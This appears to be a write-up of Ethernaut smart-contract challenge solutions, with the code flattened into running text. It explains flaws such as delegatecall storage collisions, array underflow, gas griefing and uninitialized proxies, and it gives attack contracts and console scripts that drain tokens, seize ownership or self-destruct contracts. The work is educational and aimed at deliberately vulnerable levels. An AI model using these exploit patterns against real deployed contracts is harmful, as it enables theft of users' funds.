Here, we transfer money to it, trigger the receive of the target contract, set the owner to ourselves, and then call the withdraw function; here we can use its contribute function to transfer money directly. In solidity, the function used to transfer money is as follows:
function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } }
These variables are publicly available on-chain. Private variables can be accessed by getStorageAt(slot) on-chain. To protect data, encryption or off-chain storage is required.
This issue primarily arises when balances are not checked and updated beforehand during transactions/transactions.
The call function transfers control to the target contract. If the target contract then calls withdraw one or more times within its receive or fallback function after accepting the transfer, a reentrancy attack can occur.
We can check and update the balance beforehand by adding state variables to the target address, as detailed previously.
Elevator
The following contract calls isLastFloor twice. We need to return false the first time and true the second time.
modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); _; }
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
Here, gateOne requires an indirect call. tx.origin is our EOA address, and msg.sender is our attack contract address.
gateTwo is used to exhaustively enumerate the gas required to meet the requirements; gateThree is constructed based on the requirements. bytes8 == uint64
// Construct a key that matches gateThree: // The lower 32 bits == the lower 16 bits (i.e., 0x0000 + the lower 16 bits of origin), and the whole 64 bits != the lower 32 bits (the upper 32 bits are non-zero). function buildKey() public view returns (bytes8 key) { uint16 low16 = uint16(uint160(tx.origin)); uint64 low32 = uint64(low16); uint64 hi32 = 1; key = bytes8((uint64(hi32) << 32) | low32); // such as 0x00000001_0000ZZZZ }
// Find gas such that gasleft()%8191==0 function exploit() external { bytes8 key = buildKey();
// Give a larger base and try it for 0..8191 for (uint256 i = 0; i < 8191; i++) { // 注意:这里用 .call 手工指定 gas (bool ok, ) = address(target).call{gas: 200000 + i}( abi.encodeWithSignature("enter(bytes8)", key) ); if (ok) { // pass gateTwo + gateThree + gateOne break; } } } }
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
The first one is the same here, so we’ll skip it.
gateTwo requires our attack contract code to have a size of 0. Here, we need to perform the attack in the contract’s constructor. Since the bytecode hasn’t been written to the chain yet, its size is 0.
gateThree is a simple XOR operation, so there’s nothing much to say.
The attack contract is as follows:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20;
interface IGatekeeper { function enter(bytes8 _gateKey) external returns (bool); }
contract Attack2 { constructor(address _target) { // Called in the constructor, extcodesize(this) == 0 ⇒ Passes gateTwo // At this point, msg.sender is the contract address ⇒ Use address(this) to calculate the key uint64 h = uint64(bytes8(keccak256(abi.encodePacked(address(this))))); bytes8 key = bytes8(~h); // 等价于 bytes8(type(uint64).max ^ h)
IGatekeeper(_target).enter(key); } }
Here, the second question only needs to be deployed, and no additional console or script calls are required.
contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint256 public timeLock = block.timestamp + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player;
function transfer(address _to, uint256 _value) public override lockTokens returns (bool) { super.transfer(_to, _value); }
// Prevent the initial owner from transferring tokens until the timelock has passed modifier lockTokens() { if (msg.sender == player) { require(block.timestamp > timeLock); _; } else { _; } } }
This is primarily due to the fact that in ERC20, not only “Transfer” can transfer funds, but “TransferFrom” can also be used. Furthermore, the contract does not impose any restrictions on the “TransferFrom” function, allowing the timestamp check to be bypassed.
attack contract
1 2 3 4 5 6 7 8 9 10 11 12 13 14
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20;
interface IERC20 { function transferFrom(address from, address to, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); }
contract NaughtDrain { function drain(address token, address from, address to) external { uint256 amt = IERC20(token).balanceOf(from); // 如果没有balanceOf接口,就把额度写死传参 IERC20(token).transferFrom(from, to, amt); } }
Here we also lock TransferFrom to prevent
Preservation
https://rareskills.io/post/delegatecall One point worth mentioning here is the relationship between delegatecall and storage(slot). It modifies the data in slot 0 (according to the effect of the called function).
So, here, we can set the address of our attack contract to slot 0.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint256 storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
// set the time for timezone 1 function setFirstTime(uint256 _timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); }
// set the time for timezone 2 function setSecondTime(uint256 _timeStamp) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } }
// Simple library contract to set the time contract LibraryContract { // stores a timestamp uint256 storedTime;
function setTime(uint256 _time) public { storedTime = _time; } }
攻击合约为
1 2 3 4 5 6 7 8 9 10 11 12 13
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20;
contract Attack{ address public timeZone1Library; // slot0,20 bytes address public timeZone2Library; // slot1 address public owner;
function setTime(uint256 _time) public{ // Note that the signatures need to be consistent. Since we only need the first three slots (up to the owner), the rest are not important. owner = tx.origin; } }
// collect ether in return for tokens receive() external payable { balances[msg.sender] = msg.value * 10; }
// allow transfers of tokens function transfer(address _to, uint256 _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender] - _amount; balances[_to] = _amount; }
// clean up after ourselves function destroy(address payable _to) public { selfdestruct(_to); } }
The etherscan tutorial, use the instance address to check the address to which the transfer was made. Convert it to a contract and call the destroy function.
Or manually calculate the simpleToken contract address.
First, the nonce of the first new contract initiated by an external account is 1.
Here you need to write a contract that returns 42 using less than 10 commands. Here you can use EVM Bytecode to write it manually.
1 2 3 4 5 6 7 8 9 10 11 12 13
60 2a // PUSH1 0x2a; Push constant 42 60 00 // PUSH1 0x00; Target memory location (slot 0) 52 // MSTORE; [0..32) writes 32 bytes, placing 42 in the low order 60 20 // PUSH1 0x20; Returns length 32 60 00 // PUSH1 0x00; Returns starting memory location 0 f3 // RETURN; Returns [0, 32); Valid for any function selector
60 0a // PUSH1 0x0a; Runtime length 10 bytes 60 0c // PUSH1 0x0c; Runtime offset in this code (immediately following the creation section) 60 00 // PUSH1 0x00; Copy to memory start position 0 39 // CODECOPY; mem[0..10) = code[0x0c .. 0x0c+0x0a) 60 00 // PUSH1 0x00; RETURN start f3 // RETURN; Return the 10 bytes just copied => becomes the "contract code" after deployment
AlienCodeX
There are a few points to understand here.
Solidity’s storage is a ring modulo 2^256.
Dynamic arrays such as uint256[], bytes32[]; bytes, string; Mapping; Struct; and uint256[3], all types of data do not directly store the content and length/index in the same slot; they are all stored separately.
Taking an array as an example, based on the slot where the array length is located, call keccak256(abi.encode(uint256(slot))) to calculate the address of the first element of the array, and then add i to traverse the array.
// SPDX-License-Identifier: MIT pragma solidity ^0.5.0;
import "../helpers/Ownable-05.sol";
contract AlienCodex is Ownable { bool public contact; bytes32[] public codex;
modifier contacted() { assert(contact); _; }
function makeContact() public { contact = true; }
function record(bytes32 _content) public contacted { codex.push(_content); }
function retract() public contacted { codex.length--; }
function revise(uint256 i, bytes32 _content) public contacted { codex[i] = _content; } }
As can be seen above, the array’s slot is 1, while Solidity’s storage size is 2^256. type(uint256).max = 2^256 - 1. Therefore, to trigger integer underflow and set the owner stored in slot 0 to our EOA address, i must satisfy i + array.base(calculated by keecak256) == type(uint256).max + 1.
Here, the 1-byte bool and the 20-byte address(owner) are packed into one slot (slot0), so the slot storing our array length is 1.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Denial { address public partner; // withdrawal partner - pay the gas, split the withdraw address public constant owner = address(0xA9E); uint256 timeLastWithdrawn; mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public { partner = _partner; }
// withdraw 1% to recipient and 1% to owner function withdraw() public { uint256 amountToSend = address(this).balance / 100; // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call{value: amountToSend}("");//There is no specified amount of gas to be consumed here, so almost all the gas will be released at once, leaving (1/64) payable(owner).transfer(amountToSend);// Here the transfer function consumes a fixed amount of 2300 gas // keep track of last withdrawal time timeLastWithdrawn = block.timestamp; withdrawPartnerBalances[partner] += amountToSend; }
// allow deposit of funds receive() external payable {}
// convenience function function contractBalance() public view returns (uint256) { return address(this).balance; } }
The main issue here is gas. In partner.call{} , the gas consumption is not specified, so the entire 63/64 gas allocation is sent out at once. If an attacker consumes this amount in the attacking contract, subsequent operations will be difficult to complete.
To prevent partner setup failure, we need to call the setup function and withdraw separately, then set up fallback and receive functions. Using an infinite loop, we can continuously consume gas, consuming the 63/64 gas allocated, preventing the attacker from completing the subsequent transfer operation (fixed gas consumption of 2300).
The fundamental problem here is that the price function is called twice, modifying a critical state variable—isSold—in between calls.
So, we can exploit the difference in the value of this state variable in the attack contract to achieve different return values for the two function calls, thereby completing an attack and completing a purchase at a lower price than the target price.
let token1 = await contract.token1();// getter function let token2 = await contract.token2();
await contract.approve(instance, 1000);
await contract.swap(token1, token2, 10);// this is all calculated by formula await contract.swap(token2, token1, 20);// await contract.swap(token1, token2, 24); await contract.swap(token2, token1, 30); await contract.swap(token1, token2, 41);
// swap with 45 token2 because 65 * 110 / 45 = 158 > 110 and 46 * 110 / 45 = 110 await contract.swap(token2, token1, 45);
// should return 0 (await contract.balanceOf(token1, instance)).toString();
Dex2
Compared to the previous level, the check for the from and to addresses in the swap function has been removed. That is, the contract can now exchange tokens with any contract, and the pricing formula is still linear, so you can use your own minted third-party tokens to extract token1 and token2.
// Authorize DexTwo to spend your EVIL (very important!) await evil.approve(instance, _ethers.constants.MaxUint256);
// Transfer 1 EVIL to DexTwo first, to establish the denominator = 1 await evil.transfer(instance, 1);
let rFrom = await evil.balanceOf(instance); // Read the EVIL currently held by Dex (should be 1) await contract.swap(evilAddr, token1, rFrom); // amount=1, take all token1 at once
rFrom = await evil.balanceOf(instance); // Reread! This should be 2 await contract.swap(evilAddr, token2, rFrom); // amount=2,take all token2 at once
// check it out (both sides should be "0") (await contract.balanceOf(token1, instance)).toString(); (await contract.balanceOf(token2, instance)).toString();
modifier onlyAdmin() { require(msg.sender == admin, "Caller is not the admin"); _; }
function proposeNewAdmin(address _newAdmin) external { pendingAdmin = _newAdmin; }
function approveNewAdmin(address _expectedAdmin) external onlyAdmin { require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin"); admin = pendingAdmin; }
function upgradeTo(address _newImplementation) external onlyAdmin { _upgradeTo(_newImplementation); } }
contract PuzzleWallet { address public owner; uint256 public maxBalance; mapping(address => bool) public whitelisted; mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public { require(maxBalance == 0, "Already initialized"); maxBalance = _maxBalance; owner = msg.sender; }
function multicall(bytes[] calldata data) external payable onlyWhitelisted { bool depositCalled = false; for (uint256 i = 0; i < data.length; i++) { bytes memory _data = data[i]; bytes4 selector; assembly { selector := mload(add(_data, 32)) } if (selector == this.deposit.selector) { require(!depositCalled, "Deposit can only be called once"); // Protect against reusing msg.value depositCalled = true; } (bool success,) = address(this).delegatecall(data[i]); require(success, "Error while delegating call"); } } }
The core of the vulnerability here is that delegatecall inherits the msg.value at the moment of the call. No matter how many times it is called, the actual balance of the proxy contract will not change. However, if you use delegatecall to call deposit multiple times, a false accounting vulnerability will occur.
At the same time, since the proxy contract calls delegatecall, the storage slot of the proxy contract is used. The owner and maxBalance of PuzzleWallet are written to the pendingAdmin and admin positions of the proxy.
Using this, we can whitelist the attacker’s address and then proceed with the attack described in step 1.
const proxy = new web3.eth.Contract(proxyAbi, instance); const wallet = new web3.eth.Contract(walletAbi, instance);
// Use Proxy to write slot0 → Let the owner from the Wallet perspective = player await proxy.methods.proposeNewAdmin(player).send({from: player});
// Now use Wallet ABI to adjust Proxy and add whitelist to yourself await wallet.methods.addToWhitelist(player).send({from: player});
// Construct a "nested multicall" to record the same msg.value N times (in this example, N=3) const dep = wallet.methods.deposit().encodeABI(); function buildNestedMulticall(N) { if (N <= 1) return [dep]; let inner = [dep]; for (let i = 2; i <= N; i++) { inner = [dep, wallet.methods.multicall(inner).encodeABI()]; } return inner; } const dataN = buildNestedMulticall(3); // Just change the number: repeat the account N times
// Only transfer 0.001 ETH once, but increase balances[player] N times await wallet.methods.multicall(dataN).send({ from: player, value: web3.utils.toWei("0.001", "ether") });
// Withdraw all of the Proxy's real ETH balance (must be cleared to 0 before settingMaxBalance) const bal = await web3.eth.getBalance(instance); if (bal !== "0") { await wallet.methods.execute(player, bal, "0x").send({from: player}); }
await web3.eth.getBalance(instance); // should return "0"
// Write slot1 → Set admin to yourself (write the address as uint256, the lower 160 bits are your address) await wallet.methods.setMaxBalance(web3.utils.toBN(player)).send({from: player});
await proxy.methods.admin().call(); // should be player
contract Motorbike { // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot { address value; }
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`. constructor(address _logic) public { require(Address.isContract(_logic), "ERC1967: new implementation is not a contract"); _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic; (bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()")); require(success, "Call failed"); }
// Delegates the current call to `implementation`. function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } }
// Fallback function that delegates calls to the address returned by `_implementation()`. // Will run if no other function in the contract matches the call data fallback() external payable virtual { _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value); }
// Returns an `AddressSlot` with member `value` located at `slot`. function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r_slot := slot } } }
contract Engine is Initializable { // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader; uint256 public horsePower;
// Upgrade the implementation of the proxy to `newImplementation` // subsequently execute the function call function upgradeToAndCall(address newImplementation, bytes memory data) external payable { _authorizeUpgrade(); _upgradeToAndCall(newImplementation, data); }
// Restrict to upgrader role function _authorizeUpgrade() internal view { require(msg.sender == upgrader, "Can't upgrade"); }
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. function _upgradeToAndCall(address newImplementation, bytes memory data) internal { // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0) { (bool success,) = newImplementation.delegatecall(data); require(success, "Call failed"); } }
// Stores a new address in the EIP1967 implementation slot. function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
As mentioned earlier, when contract A calls contract B via delegatecall, the data is written to contract A’s storage slot.
So the problem here is that the Engine contract hasn’t been fully initialized. Its upgrader and horsePower are both at their default values.
So here we can manually call the initialize function of Engine to set the upgrader to ourselves, then call the upgradeToAndCall function and use delegatecall to trigger selfdestruct(). There is a problem here:
EIP-6780 changed the semantics of SELFDESTRUCT:
Unless the contract is created and self-destructed in the same transaction, selfdestruct will no longer clear the bytecode/storage, but will only transfer the balance.
Therefore, we can only destroy it when initializing the engine (make sure it’s in the same transaction).
// Get the provider injected by Metamask const provider = new _ethers.BrowserProvider(window.ethereum); // v5 is called Web3Provider, v6 is called BrowserProvider //const provider = new _ethers.providers.Web3Provider(window.ethereum); const signer = await provider.getSigner();
// ABI of attack contract const attack = new _ethers.Contract( "0xYourAttackContractAddress", [ "function exploit() payable", "function sweep(address to) external" ], signer );